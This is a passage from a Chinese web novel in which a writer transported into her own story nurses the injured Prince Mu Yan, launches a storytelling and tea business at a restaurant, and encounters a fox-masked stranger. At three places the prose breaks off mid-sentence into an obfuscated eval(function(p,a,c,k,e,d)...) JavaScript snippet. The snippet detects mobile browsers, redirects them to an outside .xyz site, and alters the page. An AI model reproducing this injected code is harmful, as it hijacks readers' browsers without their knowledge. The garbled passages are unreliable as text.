赵昭兰说:“咱们这肯定比不上王府的条件,但也还不赖。之前看您伤重十分诧异,也没听说王府派人找您,拿不定主意便瞒下了消息,还请殿下见谅。” “无妨,是本王该多谢几位才是。我在这里的消息,劳烦各位继续守口如瓶,”穆衍顿了顿,又转向青玉方问道,“早听闻青神医悬壶济世之名,想问问神医,本王的病,还能医好吗?” 青玉方没有立刻回话,江沁月和赵昭兰也装聋作哑,三人都在各自揣摩他的心思。 “以青神医的医术,想必不会瞧不出本王已然身患顽疾,命不久矣。”话虽如此,他的神情却依旧温和平静。 青玉方斟酌着开口:“殿下的病恐怕难以根治,但慢慢调养着定然是性命无忧。从脉象上看,太医应该已经给殿下服过药了。” “殿下不必太过忧虑,太医院的诸位都是个中圣手,自然能保您长命百岁。”见穆衍没说什么,她接着道,“她俩之前不知道您染病的事,我也不会告诉她们更多,但我们一定会保密此事,请殿下勿要怪罪。” “三位可是我的救命恩人,怎会怪罪?” 三人不约而同地松了口气,江沁月说:“那既然殿下醒了,我也就不在这打地铺了,有什么事喊我一声就行,我就在隔壁。” “啊对,那个…我们不打扰殿下休息了,把饭菜赶紧拿去沁月屋里吃吧,都快凉了。”赵昭兰提上食盒准备开溜,江沁月和青玉方合力卷起铺盖紧随其后。 “青神医请留步,本王有些话想单独问问你。”穆衍叫住了青玉方。 他肯定是想再问问自己的病,江沁月带上门后停住脚步,把耳朵贴在门上想听听具体情况。 赵昭兰转头看见她一副鬼鬼祟祟的样子,一把将她拉走:“哎哎哎,皇家的事情少打听,知道太多没好处。” 房间内二人一站一卧,青玉方静静地等着穆衍的问话。 “依神医所见,本王的病情究竟如何?”他直截了当地问。 “太医们应当都跟殿下讲过了,我也就不在这掉书袋了。殿下的心疾是先天的,只是这些年来一直没有发作,应是此次出征劳心劳力操劳过度,故而诱发隐疾。” 青玉方严肃道:“恕我冒昧,殿下以后怕是不能再上战场了,在日常生活中也要少操劳,保持心态的平和。” “真的没有痊愈的可能吗?”穆衍闭目叹息,“……罢了,不做将军也无妨。” “不敢欺瞒殿下,我是想了一个方子,或许对您的病有奇效,但有一味药材世间罕见,我也只听师父提起过,若是日后有机缘寻得,一定告知殿下。” 青玉方这话并非是在诓他,而且就算找不到药治不好他,此病也不会要了他性命。 穆衍却没有什么看到希望的喜色,青玉方想了想,还是出言继续宽慰了几句,随后也离开了。 正所谓病去如抽丝,转眼间已是入了冬,穆衍终于不用整日躺在床上,偶尔也能在房间里走动几步了。 江沁月也不用再片刻不离地照看他了,重拾帮忙跑腿打酱油的“事业”,这些天来她无聊得快要疯掉了。 不过给穆衍送饭换药这种事她还是继续包揽了,一来她已经很熟练了,二来她比青玉方和赵昭兰清闲得多,自然义不容辞。 午间她拎着食盒准时送餐,进门便看见穆衍披着外袍倚坐在窗边发呆,面色冷峻,不知道在想些什么。 今年似乎是个暖冬,京城还未落雪,院中草木花叶落尽,只余光秃秃的枯枝。 一派萧条之景,有什么好看的?他怕是也天天躺得生厌了吧。 若是此刻窗外是一片冰天雪地,此情此景定能绘成一副美人赏雪图。 哦,美人的神情还得柔和一点,现在看起来怎么有点难以捉摸的感觉… 他面无表情时总给人一种冷漠疏离之感,加之身份尊贵,江沁月有时候有些怕他,更怕一不小心又说错什么话把人得罪了。 但江沁月依旧总是不由自主地惊叹穆衍的美貌,并油然而生一股自豪感——这么好看的人儿是她写出来的。 “怎么站在门口不进来?”察觉到了她的到来,穆衍回头看她,柔了几分神色。 “我在想殿下在看什么。”江沁月走到他对面坐下,将碗筷菜碟拿出来摆好。 “也只能看看这院中的一番天地了,”穆衍说,“江姑娘今天也不一起吃么?” “不用啦,我待会儿和昭兰姐他们一起吃,前面还在忙呢。”江沁月婉拒,又好奇问道,“殿下以前来过邀月轩吗?听说京中的贵人们很喜欢来吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156634|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。” “来过几次,赵老板的厨艺丝毫不逊于宫廷御厨,只可惜不是每次来都是她亲自掌勺。” 江沁月得意一笑:“殿下最近一段时日的餐食,基本上都是昭兰姐做的哦。” “难怪这些家常小菜也别有一番滋味。”穆衍也笑了,他甚少吃到这样有烟火气的菜肴。 他其实不太挑食,王府和宫中的菜肴大多精致却冷冰冰,战场上那就是有什么便吃什么了,饮血啖肉也不是没有过。 见穆衍吃得差不多了,江沁月便道要去给赵昭兰帮忙,准备溜之大吉。 穆衍笑着说好,之前独坐窗边那股阴沉劲儿荡然无存。 江沁月心想他莫不是一个人独守空房待得抑郁了?或许还是应该多来陪他聊聊天解解闷?毕竟她可没忘记任务,让他保持心情舒畅似乎还是有必要的。 说起任务她就来气,拿到手机之后,她几乎每天晚上都会给漆桐发消息汇报穆衍的情况,但她一询问任务的下一步行动方向,漆桐就只会回答:“你是作者你来决定。” 决定个屁!一点头绪都没有好吗?这些天她甚至都无暇顾及自己要如何安身立命的事。 她边想边穿过院子向前楼快步走去,穆衍望着她的背影,翩飞的衣摆是院中唯一一抹妍色。 有那样可怜的过往却依旧积极面对生活,穆衍有些欣赏她——如果她说的都是真的。 屋顶上传来几声轻响,穆衍唤道:“云霏?下来吧。” 一道敏捷的身影翻窗入内,他有些欣喜地望着穆衍:“亲眼见到殿下没事,属下总算是放心了,阿霞也很担心您。” “我没事,之前传信让你们勿要走漏我失踪的事,看来你们做得不错。”穆衍说,“刺客有消息了吗?” “如您所料,应当就是西辽的暗卫组织七星堂的人,他们派了其中四位首座来围杀您,结果折损其三,损失惨重。” “在郊外乱葬岗找到了那三具尸体,活下来的那位暂时还没有消息,殿下务必小心,我和阿霞会轮流在附近蹲守,确保您的安全。”云霏道。 “不必,你们总出现在这里,岂不是此地无银三百两了?况且逃跑那位也伤得不轻,不会那么快再来的。” 穆衍接着说:“我另有一事要交代你们,有空时去查一下江沁月的身份背景。” “殿下怀疑她有问题?” “她说她从益州才来到京城不久,却一下子猜出了我的身份,还明显知道西辽的落雁镖。”穆衍说。 “她不会就是逃走的那个刺客吧?!”云霏大惊失色。 “想什么呢?是的话我早就没命了,”穆衍有些无语,“只是感觉可能有问题,你们先查吧,我自己也会多留意的。” “属下遵命。”云霏行了礼,却磨磨蹭蹭没出去。 “还不走吗?可别被人发现行踪。”穆衍无奈催促。 “殿下在这是不是过得不太好?感觉您都瘦了……看起来好憔悴……”云霏的声音越来越小。 穆衍哑然失笑:“受了这么重的伤,不憔悴那我就是铁人了。快走吧,平日里尽量用信鸽传话,少往这里跑。” 云霏恭敬答应,一步三回头地去了。 再望向窗外,江沁月的身影早已不见,一片寂寥。 养伤的日子着实有些无趣,也没什么可消遣的,每天最大的乐趣就是和江沁月闲侃几句。 穆衍不知不觉间竟有些期待,盘算着她什么时候会送晚饭过来。 5. 妙笔生花灵机现 江沁月回到前楼时刚过饭点,楼中并无客人,大堂也已经被打扫得干干净净。 其实邀月轩每天晚上最是生意火爆,白天都不算太忙,她只是借口帮忙从穆衍那开溜而已。 环顾四周,只见赵昭兰坐在大堂角落的一张八仙桌边,桌上堆着一摞书册,她拿着一卷看得十分认真。 江沁月蹑手蹑脚地绕到她身后,凑过去问道:“昭兰姐又淘到什么有意思的话本小说啦?看得这么入迷。” “别提了,最近可没心思看闲书,”赵昭兰叹气道,“我在盘账呢,最近收入减了不少,真是愁人。” “啊?可是每天生意不都是挺好的吗?”江沁月有些诧异,这就要遇上财政危机了吗? “你是没见过邀月轩鼎盛的时候。我如今分身乏术,没太多工夫下厨,客人流失也是在所难免的事,”赵昭兰将书页翻得哗哗响,“你想看话本吗?那下面好像压着几本,你拿着看吧。” 江沁月从桌上的书山中薅出那几册话本小说,随意翻看几页,又是些痴男怨女的爱恨缠绵,俗套又浮夸,她对此兴致缺缺。 不过应该可以带去给穆衍看看吧?他整日里无所事事,正好可以借此打发时间。 不好打扰赵昭兰算账,江沁月无聊地四处张望,打量着这座富丽堂皇的酒楼,这会儿没有客人,反倒显得十分冷清。 邀月轩前楼总共有五层,装修十分华丽,一二楼都是大堂,三楼是雅间,四五楼是客房,供部分有需要的食客留宿。 江沁月灵机一动,想出了一个绝妙的主意。 “昭兰姐,要想增加收入,我们或许可以开辟一条新门路。” “此话怎讲?” “下午这段时间没人来吃饭,闲着也是闲着,不如利用起来,做点别的生意,”江沁月的双眼熠熠生辉。 “可是做什么生意呢?京城中最不缺的就是南来北往的商人了。”赵昭兰抬眼,对她的话有几分兴趣。 江沁月晃了晃手中的话本小说,神秘一笑:“咱们不卖那些东西,咱们卖故事。” 见赵昭兰疑惑不解,她接着问道:“昭兰姐可有去茶楼听过说书?” “去过几次,咱们这条街就有一家,但那老头儿讲得甚是无趣,我还是更乐意自己抱着书看。”赵昭兰说。 “昭兰姐和我真是想到一处去了,我也觉得他的故事干巴巴的。所以,我们也来掺一脚这生意,如何?” 大梁如今算得上是太平盛世,特别是穆衍将唯一的外患西辽杀得元气大伤之后,百姓们安居乐业,一片欣欣向荣。 但兼职文字工作者的江沁月敏锐地发现,大梁的文娱产业似乎不甚发达,她嗅到了一丝商机。 “是个好主意,发达了稳赚,做不起来也没啥太大损失。”赵昭兰颇为认同,又接着问,“但要如何开展呢?讲什么故事?又请谁来讲故事。” 江沁月拍拍自己的胸脯:“昭兰姐信我的话,我愿意一试。” 赵昭兰爽快答应:“好!你放心大胆地去做,姐姐我全力支持。” 江沁月喜出望外,没想到她就这么轻易地同意了。 其实她心里也不是很有底,要讲出一个好故事不难,可是说书不同于写书,不能字斟句酌反复推敲,更需要她声情并茂引人入胜,还得学会随机应变。 但是车到山前必有路,她江沁月从来不怕挑战新事物,没吃过猪肉还没见过猪跑吗?至少她有信心讲得比那老头吸引人。 她在纸上写写画画了一阵,罗列出了初步计划,赵昭兰看后露出了赞赏的目光。 “沁月你还真是有一套,我现在十分确信,我们这主意指定能成。” “嘿嘿,要想超越别人,就要从各方面入手打造差异化竞争嘛。”江沁月说,“那就劳烦昭兰姐这几日多多宣传我们的新生意啦,三日后我们自见分晓。” 江沁月说罢起身,打算回屋去仔细斟酌一下要讲的故事了,顺手将那几册话本小说带去给穆衍消磨时间。 “多谢,江姑娘真是费心了。”穆衍看着手中江沁月塞给自己的几本书,“王府藏书虽多,却甚少能看见这样的闲书。” 这话乍一听没什么,但言下之意估摸着是说他对此不感兴趣。想想也是,他从小肯定是泡在史论典籍里长大的,莫不是读书读死了? “殿下不嫌弃就好,你平时肯定瞧不上这些杂书,就当看个新鲜吧!”江沁月道。 却听穆衍说:“看书哪里分什么高低贵贱?话本杂记往往总是用通俗的故事警醒世人一些大道理。” 没想到他给这整上价值观了,江沁月连连摆手:“不不不真的就是些狗血小说啦,不能深思,看个乐呵就好。” “狗血?”穆衍眼中闪过一丝迷茫。 “呃…就是说故事中这些陷入爱情的男男女女像是中了邪,得淋一盆黑狗血清醒清醒。”江沁月信口雌黄。 穆衍闻言笑道:“那我定要好好看看,是怎样荡气回肠的爱情,才能让人好似中了邪。” “殿下莫笑,虽然这话本中爱得要死要活的故事有些夸张,但爱情就是能让人痛苦又欢愉,身在其中方知其滋味,就像你……” 江沁月兴致勃勃地准备就爱情这个话题开始高谈阔论,尽管她的经验全然来自纸上谈兵。结果差点口无遮拦,拿他对女主颜桃爱而不得遂放手的事举例,幸好悬崖勒马闭上了嘴。 “就像我什么?”穆衍挑眉。 “就像…就像殿下和王妃肯定也是这样过来的,你肯定深有体会。”她觉得自己随机应变的本事越来越高了。 “江姑娘说笑了,本王尚未婚配,”穆衍说,“我倒是好奇,江姑娘和亡夫曾经是否有一段刻骨铭心的过往呢?” 得,忘了自己是“寡妇”这一茬了。 “刻骨铭心谈不上,婚姻一事向来都是父母之命媒妁之言,凑合过日子罢了。他家里人那般对我,我实在不愿再去多想。”江沁月想就此打住。 穆衍却不遂她意,接着道:“江姑娘总说他家里人的恶行,却从未说过他半个字不好,想来你们二人之间感情甚笃,果真是一日夫妻百日恩。” 你堂堂一个亲王那么关注小老百姓的家长里短干嘛! 江沁月含糊道:“还好吧,逝者已矣,以前的事都不重要了。” …… 穆衍知道了她们的打算后,对于说书这件事兴趣十分浓厚,江沁月便乐呵呵地带着笔墨纸砚来到他房间写稿,也是想着多陪陪他,别让王爷一个人太寂寞。 经过昨晚的深思熟虑,她已经想好了要怎样将新生意发扬光大,说到底最重要的还是故事本身要足够吸引人。 正所谓实践出真知,江沁月打算在试营业的前几天选取不同类型的短篇故事来讲,快速抓住大众喜好。 至于哪来那么多故事?别忘了这里是架空王朝,江沁月自然要发挥穿越者传统艺能——借鉴先人名著。 其实她觉得自己写的那几本小说水平放在这里也能算是出类拔萃了,但还是借用名著一鸣惊人更为保险。 这些千百年来流传下来的故事,可都是大浪淘沙后的沧海遗珠。 江沁月本来想直接在手机备忘录里打草稿,但考虑到这高科技玩意被人看到了不好解释,便还是采用了原始的手写方式。 戏说历史、志怪传奇、爱情佳话、武侠江湖……她提笔在纸上罗列出分类,并在脑海中搜寻合适的故事。 她还抱着侥幸的心理问了漆桐,能不能给自己手机连上网查资料,毫不意外地被拒绝了。 即便是意料之中的答复,江沁月还是愤愤不平,这破系统仙君有什么用?她决定装死一段时间,不再勤勤恳恳每日汇报了,现在最重要的是赚钱! 时间紧任务重,江沁月两耳不闻窗外事,下笔如有神。 穆衍与她隔案对坐,手中捧着她昨天拿来的话本,他却似乎对眼前人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156635|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔下的故事更感兴趣,漆黑如墨的双眼中隐约倒映着她的身影。 江沁月醉心“创作”,浑然不觉对方的眼神。她抿唇不语,神情认真,半长的头发用一根木簪随意挽起,几率碎发散落在外。 房间里萦绕着一股淡淡的墨香,安静得只能听见纸张摩挲的声音。 似是陷入了纠结,她眉心微蹙,悬笔不决,倏然抬眸,便看见穆衍一瞬不瞬地望着自己。 “殿下这般看我做什么?” 穆衍回过神,指了指她的稿子:“江姑娘写字的习惯,很是与众不同。” 江沁月反应过来了,她是从左到右横着写字的。 “个人习惯啦,我觉得这样看着条理更清晰。”其实是因为按习惯的方式写字才能加快速度。 “原来如此。”穆衍煞有介事地点点头,“不知江姑娘打算讲些什么故事?” 江沁月将书写整理好的那部分话稿推到他那边,说:“殿下恐怕不方便来当听众,那就来当我第一个看客吧。” “也很欢迎殿下给我提一些建议哦。”她笑眯眯地补充道。 “荣幸之极。”穆衍回以一笑。 一人写一人读,二人相对无言,氛围却格外和谐。 穆衍很快就看完了,他不吝赞美:“这些故事各有千秋,甚是有趣,我相信到时候定会一片叫好的。” “嘿嘿,那就借你吉言啦。” 来到这个世界后,江沁月第一次过上了忙得脚不沾地的日子。 除了写稿也还有其他事宜需要筹备,因着邀月轩与赵昭兰名声在外,她打算在茶点上也下些功夫,让客人听书的时候也能吃好喝好。 赵昭兰除了打理日常事务之外,还在极力宣传新生意,也是一天都见不着人影,二人只得深夜相聚厨房,共同探讨茶饮糕点制作心得。 江沁月酷爱甜品,在品鉴方面颇有心得;赵昭兰厨艺精湛,做起糕点来也是得心应手,合伙捣鼓了两天,总算是推出了主打产品。 “甜点的最高境界就是不甜,这百花酥微甜不腻,几重花香交织在唇齿间,回味悠长,实在是妙。”江沁月细细品味。 赵昭兰也拿起一块咬了一口:“我以前基本上没做过糕点,还得是你有主意,咱们几番改进配方,总算是功夫不负有心人。” “万事俱备,只欠东风,快回去休息吧,我来收拾打扫就好,明天你可是主角。”赵昭兰说。 江沁月也不客气了,走之前顺走了那盘剩下的百花酥:“襄王殿下没睡的话,我带给他尝尝吧。” 赵昭兰打趣道:“咱们这就数你对殿下最上心了,不仅照顾得无微不至,什么好吃好玩的还都念着他,话本啦,百花酥啦……” “照顾病人当然要上心啊,昭兰姐也很上心嘛,一日三餐都亲自掌勺。”江沁月作出反驳并举例论证。 “这话可不对,你来到这里之后,哪顿饭不是我做的?”赵昭兰抱臂靠在台边,“明明是沁月你在吃我的软饭,殿下那份只是顺带的。” “我是怕他天天在屋里憋坏了,而且仔细想想,他还是怪惨的……”江沁月说着故作委屈,“昭兰姐嫌我是饭桶,那我明早就收拾行李告辞,不,待会儿我就走。” 她演技浮夸,这委屈一分真九分假,赵昭兰忍住笑意,陪她接着演。 她伸手一把揽住江沁月:“那可不行,你走了明天谁上台?你忍心让姐姐我成为全京城的笑话吗?” 两人一对视,瞬间破功,哈哈大笑起来。 “哎,你刚才说襄王殿下怪惨的,虽然这次算是个大劫难,但除却生死都是小事,他金尊玉贵一亲王,日子已经比绝大多数人好过了。”赵昭兰说。 江沁月想起她肯定不知道穆衍的那些经历,也不多解释,打了个哈哈便先行回去了。 冬夜更深露重,高悬于天的圆月却格外明亮,她裹紧外袍步履匆匆,悄悄许愿明天的说书首秀能收获一个好开端。 6. 小试牛刀初战捷 尽管已是深夜,穆衍的房间里却依旧亮着灯,江沁月便将百花酥送了进去。 “殿下还没睡?要不要尝尝昭兰姐和我一起研究的新糕点?”说着便递了一块过去。 穆衍放下手中的书,接过百花酥轻咬一口。 见穆衍正在看的是赵昭兰那些话本,她奇道:“殿下对这些很感兴趣?” “以前没怎么看过,偶尔看看也挺有意思的。茶点很好吃,多谢。”穆衍似乎真的挺喜欢,说完便伸手拿起第二块。 “殿下很爱吃甜点吗?”见盘中百花酥被一扫而空,江沁月便问了一句。 穆衍是她笔下角色不假,可她也没给出太多详细设定,面对活生生的本尊时,她时常觉得有几分陌生,能多多了解自然更好。 虽然不搭理漆桐那边,但她还是牢记任务使命的。 “还好,最近挺喜欢甜食的。”穆衍说。 江沁月哦了一声,打算回自己房间了,穆衍又突然问道:“你说为什么这些爱情故事多是悲剧?有情人终难圆满……” 看来他不仅看书看进去了,还产生了深入思考。 其实没有为什么,因为这些书是赵昭兰的,赵昭兰爱看悲剧故事。 等等,他对女主颜桃的感情不就是爱而不得的悲剧吗?这是触景伤情了? 她想了想,开口道:“因为在现实中也不是两人互相心悦就能长相厮守吧?世俗牵绊太多,亦有阴差阳错,人们或能从悲剧中寻求到一丝共鸣。” “殿下也别想太多,喜剧那也比比皆是,你想看的话我给你找些来。” “不必麻烦,我只是觉得,生死相随的爱情过于凄美,何至于此?” 他敲了敲方才正在看的那本,接着说:“书生与乐伎相爱,却被各种阻挠,最终书生被害惨死,乐伎也服毒自杀殉情。” “所以说故事只能是故事嘛,你换个角度想,双死何尝不是一种喜剧呢?天人永隔,活着的那个痛苦一生,那才是折磨。”江沁月说。 又聊了几句,看他似乎想通了些,叮嘱他早些休息后江沁月便离开了。 登台在即,说不紧张是不可能的,一晚上辗转难眠,江沁月起了个大早,打算再顺顺稿。 她准备还是从最不易出错的爱情故事讲起,譬如《梁祝》《白蛇传》这种经典,后面几日再去尝试别的类型。 突然想起昨晚和穆衍的对话,她发现这些著名的爱情故事也大多是悲剧,幸福圆满的似乎都是童话故事…… 见分晓的时刻很快到来,毕竟是第一次尝试,她们只把一楼大堂拿来做场地。 江沁月登上提前搭好的小讲台,撩开衣摆往那一坐,环视一圈,虽然并未满座但来的人数已经超过她的预期,看来赵昭兰的宣传颇有成效。 她今日穿的是男装,乍一看还真是一位俊俏的小郎君,不过她可没觉得别人就看不出她是女人了,只是这样扮着好玩好看。 只听“啪”的一声惊堂木响,满场皆静。 江沁月朗声道:“首先十分感谢诸位看官来给我们邀月轩的新生意捧场,在开始讲故事之前,容我介绍一下,我们还同步推出了若干特色茶点,试营业期间,买糕点送茶饮,单点茶饮八折优惠。” 没错,这茶饮也大有来头,正是江沁月根据现代流行轻乳茶改良调配的正宗中式奶茶,茉莉花窨制的庐山云雾,冷泡萃取后加入牛乳,再用茉莉花蜜适当增加一些甜味,这在大梁也是独一份了。 “菜单诸位桌上都有一份,需要点单的话举牌示意即可。” 这菜单也精心设计过,专门请人画了茶点的实物图,看起来更直观。不过尽管各式茶点琳琅满目,也有五文钱一位的自助茶水“穷鬼套餐”,兼顾各类人群需求。 “好了,言归正传,在下诨号妙笔生,与诸位相聚在此,是难得的缘分。有道是‘有缘千里来相会,无缘对面手难牵。十年修得同船渡,百年修得共枕眠。’西湖边上就有这么一对有缘人,我们今日便先来讲讲他们的故事……” …… “试营业这几日的效果不错,”赵昭兰一边翻账册一边打算盘,“我看现在一楼基本上都座无虚席了,不如把二三楼也利用起来吧?” “但是三楼离得太远了,会不会听不太清?”江沁月说。 “无妨,反正雅间都要预订,到时候我跟他们提前说清楚就行。”赵昭兰说,“最近有好些相熟的官家小姐都来问过我,应是不喜被旁人打扰吧。” “也有可能是想来试试我们的新茶点?”江沁月推测道。 不管怎样,对于说书这门新生意的尝试总算得上是旗开得胜。 只是苦了江沁月,下午舌灿莲花口若悬河,其他时间除却吃饭睡觉,基本上不是在写稿就是在预演练习。 写书她是一把好手,说书却有些难为她,总是要私底下练到滚瓜烂熟,上台时她心里才会踏实几分。 感觉把这辈子的话都说完了,这几天空闲时分的江沁月总是沉默寡言。 “沁月,这是我特制的清肺润喉茶,快喝了吧,每天都这样嗓子肯定受不了的。”青玉方端来一杯药茶。 “谢谢玉方,你真好。”江沁月接过一饮而尽,喝太急被呛得咳了几声。 “哎哎哎慢点喝,”赵昭兰拍拍她的背,语气十分关切,“要不要休息两天?这样连轴转太辛苦了。” 江沁月摇头:“现在是趁热打铁的好时机,不能歇。” 她唉声叹气地给自己又倒了一杯药茶,还在发愁接下来的日子要讲些什么。 “真是小账不可细算,”赵昭兰合上账本感慨道,“这几日靠说书带来的收益,竟快赶上晚间收益的一半了。” 提到钱,江沁月才想起来,她忘了一件很重要的事。 “那个…昭兰姐,我有个事之前忘了问你了……”她支支吾吾地说,“就是我每天说书……有没有……能不能领点工钱呀?” 她搞事业的目的是为了赚钱啊!有言是“先说断,后不乱”,她早没提及,如今生意红火才说起要钱的事,倒有几分难为情了。 赵昭兰恍然大悟:“瞧瞧!我也是忙忘了,你可是大功臣,挣钱了自然不能少你一份。好说好说,说书带来的收益,我们五五分成!” 纵然知道她为人一向豪爽,这五五分成还是太出乎江沁月的意料了。 “这给的太多了,我受之有愧……” 赵昭兰抬手打断她的话头,只道:“按月结算,不必多言。” 老板大气!江沁月誓要好好说书,加倍努力,做大做强,再创佳绩! 她一门心思扑在说书上,这门新生意也算是步入正轨了,她不免有些心痒,想试着讲一些自己的原创小说,但又有些举棋不定。 是夜,月朗风清。赵昭兰备了一桌好菜,说要好好庆贺一番。 穆衍的伤好了大半,基本上已经行动自如,便被一起拉上了。 这段时间相处下来,能感觉到他是挺好相处的一个人,莫说是有任务在身的江沁月,赵昭兰和青玉方也对他照顾有加。 四人相聚一堂,赵昭兰温了一壶酒,说:“这是邀月轩的珍藏佳酿‘共婵娟’,是我丈夫生前独门秘制,我不得其酿法,如今这酒是千金难买,喝一壶少一壶了。” 她给几人依次满上,轮到给穆衍倒酒时,江沁月伸手拦住了她:“殿下的伤还没好完,加之本就有病在身,还是不要饮酒为好。” 说完她看向权威医者青玉方,后者不置可否,赵昭兰忙把酒壶放在桌上。 却见穆衍拿起酒壶给自己斟了小半杯,几人还没反应过来便一饮而尽。 “往日里来过几次邀月轩,都无缘品尝,今日有如此美酒,岂能辜负?”穆衍把玩着空酒杯,笑中带着几分玩味。 “……玉方都说了别喝,病人连大夫的话都不听。”江沁月小声嘀咕两句。 “浅尝辄止,这点不妨事。”穆衍耳力极佳,听见了她的咕哝,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156636|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小伤小病,哪就那么娇弱了?” 小伤小病?到底什么病江沁月不知道,这伤也能叫小伤吗?别把自己折腾死,让她也回不了家了。 青玉方说:“殿下的病,重在调养,万望自己珍重身体。” “谁知道到底还能活多久呢?活在当下,珍惜眼前事,似乎也不错。”穆衍说。 他这话莫名有股悲凉的意味,叫人不知道说什么才好,不过几人很快便忘在脑后,大快朵颐起来。 三个女孩子推杯换盏,穆衍倒是乖乖地只喝茶了。 “这‘共婵娟’啊,原来是邀月轩的一大招牌,现如今我只赠给有缘人喝。”赵昭兰说,“你们知道为什么取名叫邀月轩吗?” “举杯邀明月,对饮成三人。试问所饮何酒?但愿人长久,千里共婵娟。”陈年佳酿后劲大,江沁月有些醉了,自己都不知道在说些什么。 “江姑娘好诗好文采。”穆衍抚掌称赞。 “好诗好诗,”赵昭兰跟着附和,“其实楼中赏月景致一般,你们看那边,我这方小院才是最适合邀月共饮的好去处。” 江沁月醉眼迷离,顺着她手指的方向远远望去,一弯弦月倒映在院中清池里,风过留痕,漾开水中月色,波光粼粼,天上月高悬依旧,皎若流光。 头晕乎乎的,看那交相辉映的月色也带上了重影,她喃喃道:“好多月亮……” 赵昭兰笑着逗她:“有几个?要不要去把水里那个捞上来呀?” “我不去!我又不是猴子……” 青玉方似乎也醉了,但她只是安安静静地坐在那,单手支着下巴闭目养神。 “一个二个都这么不能喝,没劲。”赵昭兰说罢,将剩下的酒一饮而尽,“罢了罢了,醉鬼们早点回去歇息吧。” 她起身搀起青玉方,又想起还有一位,这二人房间又在反方向,先送哪位回去好? 江沁月意识还是清醒的,冲她摆摆手:“昭兰姐你送玉方回房间吧,我自己走回去就行,顺便吹吹风醒醒酒。” 穆衍也说:“我陪江姑娘一道回去就好,反正我们住处挨着的,赵老板放心。” “那有劳殿下看着点她了。”赵昭兰点点头,见青玉方站得东倒西歪,便直接扛起她离开了。 江沁月和穆衍一起并肩往回走,因着醉酒的缘故,她的步子放得很慢,每一步都好像踩在棉花上一样。 下台阶时,她一不留神趔趄了一下,穆衍眼疾手快地抓住她的手腕,才没让她摔个狗吃屎。 “多谢殿下。”她被惊得清醒了些许,连忙道谢。 穆衍的手还没有放开,修长有力的手指带着几分冬夜的凉意,她动也不是,不动也不是。 正准备抽手,穆衍先放开了她,转为隔着衣袖扶着她手臂,淡声道:“走吧,小心些。” 行至房间门口时,江沁月又想起了他席间那番丧气话。 她很在意,不仅是因为穆衍的未来关系着她的任务。 “穆衍。”她转身叫住他。 脱口而出地直呼了他的名字,但她不想管这么多了。 穆衍停步回望,用眼神询问她怎么了。 “人生来日方长,活在当下固然好,但也要去追求未来的每一个当下,”江沁月说,“你会有一个好结局的,相信我。” 这话似乎有点奇怪,她补充道:“我们的一生又何尝不是一部话本?自己做主角,为自己执笔,去书写一个圆满的结局吧。” 穆衍静静地站在廊下,沉吟片刻,唇角勾起一抹浅笑:“好。” 或许他以为自己这是在说醉话吧。 但他不会知道,他人生的诸多苦难,都是由她亲笔书写的。 他眉目间的淡淡忧愁,她都看在眼里。 漏入廊下的月光柔和地照在他身上,将他的身形笼罩得半明半暗。 穆衍,我会和你一起续写你的故事。 江沁月望着几步之遥的穆衍,在心中无声说道。 7. 狐面狐眼狐疑心 “沁月,有个不好的消息要告诉你一声。”这日说书散场后,赵昭兰找到江沁月,神情颇为严肃。 “怎么了?”看她这副凝重的样子,江沁月的心提了起来。 “你知道百晓楼吧?就是街尾那家之前就在说书的茶楼。” 江沁月点点头。 “他们家好不要脸!见我们生意红火,几次三番派人来偷师,抄我们故事不说,还照搬了我们的茶点菜单!” “而且茶点的定价还比我们便宜,这不就是成心的!”赵昭兰气得柳眉倒竖。 江沁月说:“昭兰姐别生气,你想想,我们的茶点选用的原料都是极好的,成本就摆在那,他们照搬过去还降价打价格战,必然没用什么好东西。” “而且很多制作方法都是我们一起慢慢试出来的,他们学得去样式,却做不出一样的味道。” “这倒也是,”赵昭兰冷静了些,思忖片刻道,“不如这样,明日你我一起去百晓楼探探情况。” “那我们明天不说书了吗?”江沁月问。 “歇业一天不妨事,你连轴转了这么多天,早该休息一下了。” …… 翌日下午,百晓楼中。 江沁月与赵昭兰找了个偏僻的位置坐下,二人均戴着幂篱略作遮掩。 “菜单上的所有东西,每样都给我们上一份。”赵昭兰唤来小二,大手一挥全部拿下。 “二位姑娘点这么多,吃得完吗?”隔壁桌传来一道轻佻的男声。 江沁月转头一看,那男子打扮得怪模怪样,一袭绯红衣袍缀着花里胡哨的宝石玉佩,栩栩如生的狐狸面具遮住了大半张脸,双唇似笑非笑,拿起桌上的清茶浅饮一口。 “关你什么事?姑奶奶我吃不完就拿回去喂狗。”赵昭兰没好气地呛他。 